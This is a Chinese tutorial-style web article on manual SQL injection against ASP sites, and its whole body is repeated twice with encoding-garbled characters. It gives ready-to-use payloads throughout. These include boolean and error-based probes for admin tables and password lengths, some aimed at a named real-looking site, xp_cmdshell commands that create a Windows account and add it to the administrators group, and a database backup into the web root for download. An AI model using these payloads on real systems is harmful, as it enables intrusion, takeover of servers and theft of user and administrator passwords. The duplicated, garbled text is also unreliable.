手工注射ASP腳本學(xué)習(xí)
發(fā)布日期:2021-12-31 13:25 | 文章來源:源碼中國(guó)
ACCESS
查詢數(shù)據(jù)庫類型
http://www.zengke.com/product.asp?sort_id=24 and exists (select * from sysobjects)
查詢表admin頁面返回正常顯示為有,錯(cuò)誤為無。
http://www.zengke.com//product.asp?sort_id=24 and exists (select * from admin)
查詢admin表中的項(xiàng)admin
/product.asp?sort_id=24 and exists (select admin_name from admin)
查詢admin表中的項(xiàng)admin里面的內(nèi)容長(zhǎng)度 小于出錯(cuò) 等于返回正常
http://www.zengke.com//product.asp?sort_id=24 And (Select Top 1 len(cstr([pwd])) From (Select Top 1 * From [admin] Where 1=1 order by [pwd]) T order by [pwd] desc)<=7
暴力猜解admin表中的項(xiàng)admin_name
SQL
①http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--
分號(hào);在SQLServer中表示隔開前后兩句語句,--表示后面的語句為注釋,所以,這句語句在SQLServer中將被分成兩句執(zhí)行,先是Select出ID=1的記錄,然后執(zhí)行存儲(chǔ)過程xp_cmdshell,這個(gè)存儲(chǔ)過程用于調(diào)用系統(tǒng)命令,于是,用net命令新建了用戶名為name、密碼為password的windows的帳號(hào),接著:
②http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup administrators name /add”--
將新建的帳號(hào)name加入管理員組,不用兩分鐘,你已經(jīng)拿到了系統(tǒng)最高權(quán)限!當(dāng)然,這種方法只適用于用sa連接數(shù)據(jù)庫的情況,否則,是沒有權(quán)限調(diào)用xp_cmdshell的。
?、踙ttp://Site/url.asp?id=1 ;;and db_name()>0
前面有個(gè)類似的例子and user>0,作用是獲取連接用戶名,db_name()是另一個(gè)系統(tǒng)變量,返回的是連接的數(shù)據(jù)庫名。
④http://Site/url.asp?id=1;backup database 數(shù)據(jù)庫名 to disk=’c:inetpubwwwroot.db’;--
這是相當(dāng)狠的一招,從③拿到的數(shù)據(jù)庫名,加上某些IIS出錯(cuò)暴露出的絕對(duì)路徑,將數(shù)據(jù)庫備份到Web目錄下面,再用HTTP把整個(gè)數(shù)據(jù)庫就完完整整的下載回來,所有的管理員及用戶密碼都一覽無遺!在不知道絕對(duì)路徑的時(shí)候,還可以備份到網(wǎng)絡(luò)地址的方法(如\202.96.xx.xxShare.db),但成功率不高。
?、輍ttp://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0
前面說過,sysobjects是SQLServer的系統(tǒng)表,存儲(chǔ)著所有的表名、視圖、約束及其它對(duì)象,xtype=’U’ and status>0,表示用戶建立的表名,上面的語句將第一個(gè)表名取出,與0比較大小,讓報(bào)錯(cuò)信息把表名暴露出來。第二、第三個(gè)表名怎么獲取?還是留給我們聰明的讀者思考吧。
⑥http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0
從⑤拿到表名后,用object_id(‘表名’)獲取表名對(duì)應(yīng)的內(nèi)部ID,col_name(表名ID,1)代表該表的第1個(gè)字段名,將1換成2,3,4...就可以逐個(gè)獲取所猜解表里面的字段名。
查詢數(shù)據(jù)庫類型
http://www.zengke.com/product.asp?sort_id=24 and exists (select * from sysobjects)
查詢表admin頁面返回正常顯示為有,錯(cuò)誤為無。
http://www.zengke.com//product.asp?sort_id=24 and exists (select * from admin)
查詢admin表中的項(xiàng)admin
/product.asp?sort_id=24 and exists (select admin_name from admin)
查詢admin表中的項(xiàng)admin里面的內(nèi)容長(zhǎng)度 小于出錯(cuò) 等于返回正常
http://www.zengke.com//product.asp?sort_id=24 And (Select Top 1 len(cstr([pwd])) From (Select Top 1 * From [admin] Where 1=1 order by [pwd]) T order by [pwd] desc)<=7
暴力猜解admin表中的項(xiàng)admin_name
SQL
①http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--
分號(hào);在SQLServer中表示隔開前后兩句語句,--表示后面的語句為注釋,所以,這句語句在SQLServer中將被分成兩句執(zhí)行,先是Select出ID=1的記錄,然后執(zhí)行存儲(chǔ)過程xp_cmdshell,這個(gè)存儲(chǔ)過程用于調(diào)用系統(tǒng)命令,于是,用net命令新建了用戶名為name、密碼為password的windows的帳號(hào),接著:
②http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup administrators name /add”--
將新建的帳號(hào)name加入管理員組,不用兩分鐘,你已經(jīng)拿到了系統(tǒng)最高權(quán)限!當(dāng)然,這種方法只適用于用sa連接數(shù)據(jù)庫的情況,否則,是沒有權(quán)限調(diào)用xp_cmdshell的。
?、踙ttp://Site/url.asp?id=1 ;;and db_name()>0
前面有個(gè)類似的例子and user>0,作用是獲取連接用戶名,db_name()是另一個(gè)系統(tǒng)變量,返回的是連接的數(shù)據(jù)庫名。
④http://Site/url.asp?id=1;backup database 數(shù)據(jù)庫名 to disk=’c:inetpubwwwroot.db’;--
這是相當(dāng)狠的一招,從③拿到的數(shù)據(jù)庫名,加上某些IIS出錯(cuò)暴露出的絕對(duì)路徑,將數(shù)據(jù)庫備份到Web目錄下面,再用HTTP把整個(gè)數(shù)據(jù)庫就完完整整的下載回來,所有的管理員及用戶密碼都一覽無遺!在不知道絕對(duì)路徑的時(shí)候,還可以備份到網(wǎng)絡(luò)地址的方法(如\202.96.xx.xxShare.db),但成功率不高。
?、輍ttp://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0
前面說過,sysobjects是SQLServer的系統(tǒng)表,存儲(chǔ)著所有的表名、視圖、約束及其它對(duì)象,xtype=’U’ and status>0,表示用戶建立的表名,上面的語句將第一個(gè)表名取出,與0比較大小,讓報(bào)錯(cuò)信息把表名暴露出來。第二、第三個(gè)表名怎么獲取?還是留給我們聰明的讀者思考吧。
⑥http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0
從⑤拿到表名后,用object_id(‘表名’)獲取表名對(duì)應(yīng)的內(nèi)部ID,col_name(表名ID,1)代表該表的第1個(gè)字段名,將1換成2,3,4...就可以逐個(gè)獲取所猜解表里面的字段名。
版權(quán)聲明:本站文章來源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請(qǐng)保持原文完整并注明來源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來,僅供學(xué)習(xí)參考,不代表本站立場(chǎng),如有內(nèi)容涉嫌侵權(quán),請(qǐng)聯(lián)系alex-e#qq.com處理。
相關(guān)文章